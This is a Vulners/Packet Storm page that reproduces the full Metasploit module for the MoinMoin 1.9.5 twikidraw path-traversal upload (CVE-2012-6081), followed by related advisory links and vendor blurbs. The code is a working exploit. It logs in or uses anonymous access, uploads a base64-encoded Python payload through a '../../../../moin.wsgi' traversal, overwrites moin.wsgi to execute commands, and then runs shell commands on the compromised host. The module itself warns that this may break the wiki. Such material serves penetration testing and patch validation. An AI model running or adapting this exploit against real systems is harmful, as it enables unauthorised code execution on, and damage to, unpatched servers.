Lucene search
K

MoinMoin twikidraw Action Traversal File Upload

🗓️ 19 Jun 2013 00:00:00Reported by juan vazquezType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 56 Views

MoinMoin twikidraw Action Traversal File Upload. Exploits vulnerability in MoinMoin 1.9.5 allowing file upload. Overrides moin.wsgi to execute arbitrary python code. May affect wiki's correct working

Related
Code
ReporterTitlePublishedViews
Family
0day.today
MoinMoin twikidraw Action Traversal File Upload Vulnerability
19 Jun 201300:00
zdt
FreeBSD
moinmoin -- Multiple vulnerabilities
29 Dec 201200:00
freebsd
Circl
CVE-2012-6081
8 May 201300:00
circl
Check Point Advisories
MoinMoin twikidraw Action Directory Traversal (CVE-2012-6081)
6 Aug 201300:00
checkpoint_advisories
CVE
CVE-2012-6081
3 Jan 201301:00
cve
Cvelist
CVE-2012-6081
3 Jan 201301:00
cvelist
Debian CVE
CVE-2012-6081
3 Jan 201301:00
debiancve
Tenable Nessus
Debian DSA-2593-1 : moin - several vulnerabilities
31 Dec 201200:00
nessus
Tenable Nessus
Fedora 18 : moin-1.9.6-1.fc18 (2013-0600)
21 Jan 201300:00
nessus
Tenable Nessus
Fedora 16 : moin-1.9.6-1.fc16 (2013-0640)
23 Jan 201300:00
nessus
Rows per page
`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ManualRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'MoinMoin twikidraw Action Traversal File Upload',  
'Description' => %q{  
This module exploits a vulnerability in MoinMoin 1.9.5. The vulnerability  
exists on the manage of the twikidraw actions, where a traversal path can be used  
in order to upload arbitrary files. Exploitation is achieved on Apached/mod_wsgi  
configurations by overwriting moin.wsgi, which allows to execute arbitrary python  
code, as exploited in the wild on July, 2012. The user is warned to use this module  
at his own risk since it's going to overwrite the moin.wsgi file, required for the  
correct working of the MoinMoin wiki. While the exploit will try to restore the  
attacked application at post exploitation, correct working after all isn't granted.  
},  
'Author' =>  
[  
'Unknown', # Vulnerability discovery  
'HTP', # PoC  
'juan vazquez' # Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'CVE', '2012-6081' ],  
[ 'OSVDB', '88825' ],  
[ 'BID', '57082' ],  
[ 'EDB', '25304' ],  
[ 'URL', 'http://hg.moinmo.in/moin/1.9/rev/7e7e1cbb9d3f' ],  
[ 'URL', 'http://wiki.python.org/moin/WikiAttack2013' ]  
],  
'Privileged' => false, # web server context  
'Payload' =>  
{  
'DisableNops' => true,  
'Space' => 16384, # Enough one to fit any payload  
'Compat' =>  
{  
'PayloadType' => 'cmd',  
'RequiredCmd' => 'generic telnet netcat perl'  
}  
},  
'Platform' => [ 'unix' ],  
'Arch' => ARCH_CMD,  
'Targets' => [[ 'MoinMoin 1.9.5', { }]],  
'DisclosureDate' => 'Dec 30 2012',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('TARGETURI', [ true, "MoinMoin base path", "/" ]),  
OptString.new('WritablePage', [ true, "MoinMoin Page with edit permissions to inject the payload, by default WikiSandbox (Ex: /WikiSandbox)", "/WikiSandBox" ]),  
OptString.new('USERNAME', [ false, "The user to authenticate as (anonymous if username not provided)"]),  
OptString.new('PASSWORD', [ false, "The password to authenticate with (anonymous if password not provided)" ])  
], self.class)  
end  
  
def moinmoin_template(path)  
template =[]  
template << "# -*- coding: iso-8859-1 -*-"  
template << "import sys, os"  
template << "sys.path.insert(0, 'PATH')".gsub(/PATH/, File.dirname(path))  
template << "from MoinMoin.web.serving import make_application"  
template << "application = make_application(shared=True)"  
return template  
end  
  
def restore_file(session, file, contents)  
first = true  
contents.each {|line|  
if first  
session.shell_command_token("echo \"#{line}\" > #{file}")  
first = false  
else  
session.shell_command_token("echo \"#{line}\" >> #{file}")  
end  
}  
end  
  
# Try to restore a basic moin.wsgi file with the hope of making the  
# application usable again.  
# Try to search on /usr/local/share/moin (default search path) and the  
# current path (apache user home). Avoiding to search on "/" because it  
# could took long time to finish.  
def on_new_session(session)  
print_status("Trying to restore moin.wsgi...")  
begin  
files = session.shell_command_token("find `pwd` -name moin.wsgi 2> /dev/null")  
files.split.each { |file|  
print_status("#{file} found! Trying to restore...")  
restore_file(session, file, moinmoin_template(file))  
}  
  
files = session.shell_command_token("find /usr/local/share/moin -name moin.wsgi 2> /dev/null")  
files.split.each { |file|  
print_status("#{file} found! Trying to restore...")  
restore_file(session, file, moinmoin_template(file))  
}  
print_warning("Finished. If application isn't usable, manual restore of the moin.wsgi file would be required.")  
rescue  
print_warning("Error while restring moin.wsgi, manual restoring would be required.")  
end  
end  
  
def do_login(username, password)  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(@base, @page),  
'vars_post' =>  
{  
'action' => 'login',  
'name' => username,  
'password' => password,  
'login' => 'Login'  
}  
})  
  
if not res or res.code != 200 or not res.headers.include?('Set-Cookie')  
return nil  
end  
  
return res.get_cookies  
  
end  
  
def upload_code(session, code)  
  
vprint_status("Retrieving the ticket...")  
  
res = send_request_cgi({  
'uri' => normalize_uri(@base, @page),  
'cookie' => session,  
'vars_get' => {  
'action' => 'twikidraw',  
'do' => 'modify',  
'target' => '../../../../moin.wsgi'  
}  
})  
  
if not res or res.code != 200 or res.body !~ /ticket=(.*?)&target/  
vprint_error("Error retrieving the ticket")  
return nil  
end  
  
ticket = $1  
vprint_good("Ticket found: #{ticket}")  
  
my_payload = "[MARK]#{code}[MARK]"  
post_data = Rex::MIME::Message.new  
post_data.add_part("drawing.r if()else[]\nexec eval(\"open(__file__)\\56read()\\56split('[MARK]')[-2]\\56strip('\\\\0')\")", nil, nil, "form-data; name=\"filename\"")  
post_data.add_part(my_payload, "image/png", nil, "form-data; name=\"filepath\"; filename=\"drawing.png\"")  
my_data = post_data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(@base, @page),  
'cookie' => session,  
'vars_get' =>  
{  
'action' => 'twikidraw',  
'do' => 'save',  
'ticket' => ticket,  
'target' => '../../../../moin.wsgi'  
},  
'data' => my_data,  
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"  
})  
  
if not res or res.code != 200 or not res.body.empty?  
vprint_error("Error uploading the payload")  
return nil  
end  
  
return true  
end  
  
def check  
@base = target_uri.path  
@base << '/' if @base[-1, 1] != '/'  
  
res = send_request_cgi({  
'uri' => normalize_uri(@base)  
})  
  
if res and res.code == 200 and res.body =~ /moinmoin/i and res.headers['Server'] =~ /Apache/  
return Exploit::CheckCode::Detected  
elsif res  
return Exploit::CheckCode::Unknown  
end  
  
return Exploit::CheckCode::Safe  
end  
  
def writable_page?(session)  
  
res = send_request_cgi({  
'uri' => normalize_uri(@base, @page),  
'cookie' => session,  
})  
  
if not res or res.code != 200 or res.body !~ /Edit \(Text\)/  
return false  
end  
  
return true  
end  
  
  
def exploit  
  
# Init variables  
@page = datastore['WritablePage']  
  
@base = target_uri.path  
@base << '/' if @base[-1, 1] != '/'  
  
# Login if needed  
if (datastore['USERNAME'] and  
not datastore['USERNAME'].empty? and  
datastore['PASSWORD'] and  
not datastore['PASSWORD'].empty?)  
print_status("Trying login to get session ID...")  
session = do_login(datastore['USERNAME'], datastore['PASSWORD'])  
else  
print_status("Using anonymous access...")  
session = ""  
end  
  
# Check authentication  
if not session  
fail_with(Exploit::Failure::NoAccess, "Error getting a session ID, check credentials or WritablePage option")  
end  
  
# Check writable permissions  
if not writable_page?(session)  
fail_with(Exploit::Failure::NoAccess, "There are no write permissions on #{@page}")  
end  
  
# Upload payload  
print_status("Trying to upload payload...")  
python_cmd = "import os\nos.system(\"#{Rex::Text.encode_base64(payload.encoded)}\".decode(\"base64\"))"  
res = upload_code(session, "exec('#{Rex::Text.encode_base64(python_cmd)}'.decode('base64'))")  
if not res  
fail_with(Exploit::Failure::Unknown, "Error uploading the payload")  
end  
  
# Execute payload  
print_status("Executing the payload...")  
res = send_request_cgi({  
'uri' => normalize_uri(@base, @page),  
'cookie' => session,  
'vars_get' => {  
'action' => 'AttachFile'  
}  
}, 5)  
  
end  
  
end  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation